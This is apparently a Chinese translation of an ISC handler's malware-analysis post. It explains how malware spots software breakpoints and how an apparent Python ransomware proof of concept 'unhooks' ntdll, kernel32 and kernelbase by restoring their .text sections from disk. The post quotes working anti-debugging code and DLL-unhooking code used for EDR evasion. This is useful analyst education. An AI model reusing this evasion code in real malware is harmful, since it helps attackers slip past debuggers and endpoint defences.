CTRL-Z DLL Hooking
当您调试恶意软件样本时,可能会在调试器中运行并设置断点。其思路是在程序执行"有趣"操作之前接管程序控制权。通常,我们会在内存管理API调用(如VirtualAlloc())或进程活动(如CreateProcess()、CreateRemoteThread()等)上设置断点。
调试器实现断点的默认技术是通过覆盖函数的第一个字节(用INT3(1)指令覆盖)来"挂钩"原始API调用。这被称为软件断点,因为程序代码被轻微修改,我们指示它执行软件中断。是的,这看起来像是恶意行为,但目的是好的。请注意,还存在其他断点技术,但让我们专注于软件断点。
与往常一样,恶意软件逆向工程是一场永无止境的猫鼠游戏。恶意软件可以很容易地检测到这种技术。只需检查内存中API调用位置的第一个字节是否为"CC"(INT3的操作码),您就明白了:
1
2
3
4
5
6
|
HMODULE h = GetModuleHandleA("kernel32.dll"); // 获取DLL地址
FARPROC a = GetProcAddress(h, "VirtualAlloc"); // 获取API调用地址
BYTE b = *a;
if (b == 0xCC) { // CC是INT3操作码
printf("在VirtualAlloc()上设置了断点!\n");
}
|
这种技术的问题在于恶意软件必须知道哪个API调用已被修补。EDR也可以使用相同的技术。可能涉及许多API调用。当我调试恶意软件样本时,设置超过10个断点是很常见的!
由于所有这些活动都发生在内存中(请记住,程序使用的DLL副本由操作系统加载器加载到进程内存空间中),另一种技术是从原始DLL(位于磁盘上)“重新加载"干净的代码(没有补丁)。这就像执行"撤销"或"CTRL-Z"来恢复初始的DLL状态。我昨天在VT上发现的一个Python恶意代码中找到了这种技术。该脚本似乎是一个勒索软件PoC,得分非常低(4/63)(SHA256:197dd96e76114a1e6d4fb4964767a009d147a2c0de277bc5711dedb7a4152693)
在初始化期间,恶意软件将"脱钩"一些DLL以摆脱潜在的断点:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
def _unhook_dlls(self):
"""SXVM风格的DLL脱钩"""
try:
# 像SXVM一样解钩关键DLL
for dll in ['ntdll.dll', 'kernel32.dll', 'kernelbase.dll']:
try:
self._restore_text_section(dll)
except:
continue
return True
except:
return False
def _restore_text_section(self, dll_name):
"""像SXVM一样从磁盘恢复.text节"""
try:
# 获取系统目录
system_dir = os.environ.get('SystemRoot', 'C:\\Windows') + '\\System32\\'
dll_path = system_dir + dll_name
if os.path.exists(dll_path):
with open(dll_path, 'rb') as f:
disk_data = f.read()
# 解析PE头以找到.text节
pe_offset = struct.unpack('<I', disk_data[0x3C:0x40])[0]
section_count = struct.unpack('<H', disk_data[pe_offset + 6:pe_offset + 8])[0]
section_offset = pe_offset + 0x18 + struct.unpack('<H', disk_data[pe_offset + 0x14:pe_offset + 0x16])[0]
for i in range(section_count):
section_name = disk_data[section_offset + i*40:section_offset + i*40 + 8].decode().strip('\x00')
if section_name == '.text':
virtual_size = struct.unpack('<I', disk_data[section_offset + i*40 + 8:section_offset + i*40 + 12])[0]
virtual_addr = struct.unpack('<I', disk_data[section_offset + i*40 + 12:section_offset + i*40 + 16])[0]
raw_size = struct.unpack('<I', disk_data[section_offset + i*40 + 16:section_offset + i*40 + 20])[0]
raw_offset = struct.unpack('<I', disk_data[section_offset + i*40 + 20:section_offset + i*40 + 24])[0]
# 获取模块基地址
module_base = ctypes.windll.kernel32.GetModuleHandleW(dll_name)
if module_base:
# 从磁盘复制.text节到内存
text_section = disk_data[raw_offset:raw_offset + raw_size]
old_protect = ctypes.c_uint32()
self.kernel32.VirtualProtect(module_base + virtual_addr, raw_size, 0x40, ctypes.byref(old_protect))
ctypes.memmove(module_base + virtual_addr, text_section, raw_size)
self.kernel32.VirtualProtect(module_base + virtual_addr, raw_size, old_protect, ctypes.byref(old_protect))
break
return True
except:
return False
|
这段代码很容易理解,它将从常见的DLL中恢复.text节(包含可执行代码的节) - 这些DLL提供了恶意软件使用的许多有趣的API调用。从磁盘读取DLL,解析PE头以找到.text节的位置和大小。读取代码并将其重新注入到已加载的DLL版本中。.text版本被覆盖,所有软件断点都消失了!这种技术非常有效,因为程序可以对其自己的内存执行任何操作。当然,为了执行此操作,您会看到对VirtualProtect()的调用,以更改和恢复内存保护位。
该脚本包含许多对"SXVM"勒索软件的引用,并且没有混淆。我没有找到任何关于此名称的引用。似乎正在开发中或是一个概念验证?
(1) https://en.wikipedia.org/wiki/INT_(x86_instruction)
Xavier Mertens (@xme)
Xameco
高级ISC处理程序 - 自由职业网络安全顾问
PGP密钥
关键词:断点 调试器 DLL 挂钩 恶意软件 Python